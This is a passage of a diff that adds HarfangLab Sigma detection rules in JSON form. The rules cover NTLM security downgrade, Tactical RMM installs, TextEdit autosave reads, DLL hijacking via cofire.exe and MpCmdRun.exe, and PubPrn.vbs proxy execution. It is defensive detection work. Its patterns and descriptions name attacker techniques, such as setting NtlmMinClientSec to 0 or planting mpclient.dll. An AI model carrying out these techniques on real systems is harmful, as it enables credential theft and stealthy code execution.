+    "https://threathunterplaybook.com/hunts/windows/191224-RegModExtendedNetNTLMDowngrade/notebook.html",
+    "https://attack.mitre.org/techniques/T1562/001/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1562_001_ntlmssp_security_downgrade.yml",
+  "content": "title: NTLMSSP Security Downgraded\nid: ebe370ee-bbfc-40ed-b1f3-67d8f45c006a\ndescription: |\n    Detects the downgrade of the NTLMSSP configuration in the Windows registry.\n    The modification of NtlmMinClientSec registry value to 0 disables all security mechanism for NTLM.\n    This weakens the security of network authentications and can be used by attackers to extract the NTLM hash.\n    It is recommended to analyze the process responsible for this registry edit as well as for malicious actions in this user session.\nreferences:\n    - https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-security/enable-ntlm-2-authentication\n    - https://threathunterplaybook.com/hunts/windows/191224-RegModExtendedNetNTLMDowngrade/notebook.html\n    - https://attack.mitre.org/techniques/T1562/001/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2025/06/20\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\\NtlmMinClientSec'\n            - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\\NtlmMinServerSec'\n        Details: 'DWORD (0x00000000)'\n        ProcessParentImage|contains: '?'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_deviceenroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n\n    exclusion_sccm:\n        ProcessAncestors|contains:\n            - '?:\\MININT\\Tools\\X64\\TsManager.exe'\n            - '?:\\MININT\\Tools\\X64\\TsmBootstrap.exe'\n\n    exclusion_omadmclient:\n        ProcessImage: '?:\\Windows\\System32\\omadmclient.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ebe370ee-bbfc-40ed-b1f3-67d8f45c006a",
+  "rule_name": "NTLMSSP Security Downgraded",
+  "rule_description": "Detects the downgrade of the NTLMSSP configuration in the Windows registry.\nThe modification of NtlmMinClientSec registry value to 0 disables all security mechanism for NTLM.\nThis weakens the security of network authentications and can be used by attackers to extract the NTLM hash.\nIt is recommended to analyze the process responsible for this registry edit as well as for malicious actions in this user session.\n",
+  "rule_creation_date": "2025-06-20",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ebf78829-39f1-4f5b-8c36-373e3dcca110",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082833Z",
+  "creation_date": "2026-03-23T11:45:34.082836Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082840Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_tacticalrmm_agent_installed.yml",
+  "content": "title: Tactical RMM Agent Installed\nid: ebf78829-39f1-4f5b-8c36-373e3dcca110\ndescription: |\n    Detects the installation of Tactical RMM agent.\n    Tactical RMM is a remote desktop software that allows users to access and control computers remotely.\n    This tool is frequently used by ransomware groups to gain remote access on system.\n    It is recommended to verify if the usage of this tool is legitimate and to verify the legitimacy of the control domain (the API URL used on command-line during installation) to ensure the agent is communicating with an authorized Tactical RMM server.\nreferences:\n    - https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2025/08/06\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.AnyDesk\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains|all:\n            - ' -m install --api '\n            - ' --client-id '\n            - ' --auth '\n\n    condition: selection\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ebf78829-39f1-4f5b-8c36-373e3dcca110",
+  "rule_name": "Tactical RMM Agent Installed",
+  "rule_description": "Detects the installation of Tactical RMM agent.\nTactical RMM is a remote desktop software that allows users to access and control computers remotely.\nThis tool is frequently used by ransomware groups to gain remote access on system.\nIt is recommended to verify if the usage of this tool is legitimate and to verify the legitimacy of the control domain (the API URL used on command-line during installation) to ensure the agent is communicating with an authorized Tactical RMM server.\n",
+  "rule_creation_date": "2025-08-06",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ec2971ff-f461-448f-b31a-78f6ddee6cca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099158Z",
+  "creation_date": "2026-03-23T11:45:34.099167Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099171Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_read_textedit_autosave.yml",
+  "content": "title: Suspicious Read Access to TextEdit Autosave Files\nid: ec2971ff-f461-448f-b31a-78f6ddee6cca\ndescription: |\n    Detects a process reading TextEdit autosave files.\n    Adversaries may target autosaved files on local systems to collect sensitive information.\n    It is recommended to check whether the process that accessed the file had legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Collection\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path|startswith: '/Users/*/Library/Containers/com.apple.TextEdit/Data/Library/Autosave Information/'\n        ProcessImage|contains: '?'\n\n    filter_textedit:\n        Image: '/System/Applications/TextEdit.app/Contents/MacOS/TextEdit'\n\n    filter_spotlight:\n        Image: '/System/Library/Frameworks/CoreSpotlight.framework/spotlightknowledged'\n\n    exclusion_QuickLookThumbnailing:\n        Image: '/System/Library/Frameworks/QuickLookThumbnailing.framework/Versions/A/PlugIns/ThumbnailExtension_macOS.appex/Contents/MacOS/ThumbnailExtension_macOS'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_bitdefender:\n        Image: '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ec2971ff-f461-448f-b31a-78f6ddee6cca",
+  "rule_name": "Suspicious Read Access to TextEdit Autosave Files",
+  "rule_description": "Detects a process reading TextEdit autosave files.\nAdversaries may target autosaved files on local systems to collect sensitive information.\nIt is recommended to check whether the process that accessed the file had legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ec366893-fa2d-48de-bf9b-e5f2c7e4077b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081888Z",
+  "creation_date": "2026-03-23T11:45:34.081890Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081894Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cofir.yml",
+  "content": "title: DLL Hijacking via cofir.exe\nid: ec366893-fa2d-48de-bf9b-e5f2c7e4077b\ndescription: |\n    Detects potential Windows DLL Hijacking via cofir.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'cofire.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\version.dll'\n            - '\\wdi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ec366893-fa2d-48de-bf9b-e5f2c7e4077b",
+  "rule_name": "DLL Hijacking via cofir.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via cofir.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ec741c91-d0ea-4b80-9b52-5cf7d569769a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591822Z",
+  "creation_date": "2026-03-23T11:45:34.591826Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591833Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mpcmdrun.yml",
+  "content": "title: DLL Hijacking via MpCmdRun.exe\nid: ec741c91-d0ea-4b80-9b52-5cf7d569769a\ndescription: |\n    Detects potential Windows DLL Hijacking via MpCmdRun.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers can use the legitimate and signed MpCmdRun.exe to load a malicious DLL named mpclient.dll and planted in the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/08/01\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MpCmdRun.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith: '\\mpclient.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Program Files\\Windows Defender\\'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Program Files\\Windows Defender\\'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    exclusion_legitimate_dll:\n        sha256:\n            - '30986d2796f29d3e734be1012c8eca44f57abadd1b33d12adfb18a5eaea6b632'\n            - 'fa1125bd8cdbb13c6ced323a737672ddc5c2b396210035d6e524e86a77272c07'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ec741c91-d0ea-4b80-9b52-5cf7d569769a",
+  "rule_name": "DLL Hijacking via MpCmdRun.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via MpCmdRun.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers can use the legitimate and signed MpCmdRun.exe to load a malicious DLL named mpclient.dll and planted in the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-08-01",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ed39c261-6c1f-4562-a747-46a7be695c9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071384Z",
+  "creation_date": "2026-03-23T11:45:34.071386Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071390Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Scripts/Pubprn/",
+    "https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat#L268",
+    "https://attack.mitre.org/techniques/T1216/001/"
+  ],
+  "name": "t1216_001_pubprn_proxy_execution.yml",
+  "content": "title: PubPrn.vbs Proxy Execution\nid: ed39c261-6c1f-4562-a747-46a7be695c9f\ndescription: |\n    Detects the execution of the Windows PubPrn.vbs script with suspicious arguments.\n    PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe.\n    Adversaries may use PubPrn to proxy execution of malicious remote files, to try and evade detection.\n    It is recommended to analyze the script pointed to by the commmandline, as well as the execution context of the program running the PubPrn script.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Scripts/Pubprn/\n    - https://github.com/op7ic/EDR-Testing-Script/blob/master/runtests.bat#L268\n    - https://attack.mitre.org/techniques/T1216/001/\ndate: 2025/10/10\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.PubPrn\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine|contains|all:\n            - '\\pubprn.vbs'\n            - 'script:'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ed39c261-6c1f-4562-a747-46a7be695c9f",
+  "rule_name": "PubPrn.vbs Proxy Execution",
+  "rule_description": "Detects the execution of the Windows PubPrn.vbs script with suspicious arguments.\nPubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe.\nAdversaries may use PubPrn to proxy execution of malicious remote files, to try and evade detection.\nIt is recommended to analyze the script pointed to by the commmandline, as well as the execution context of the program running the PubPrn script.\n",
+  "rule_creation_date": "2025-10-10",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1216.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ed5d6af8-fae2-413c-8d87-95346a6aa412",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077711Z",
+  "creation_date": "2026-03-23T11:45:34.077713Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077717Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/wpbbin.html",
+    "https://attack.mitre.org/techniques/T1542/001/"
+  ],
+  "name": "t1542_001_possible_uefi_persistance_with_wpbbin.yml",
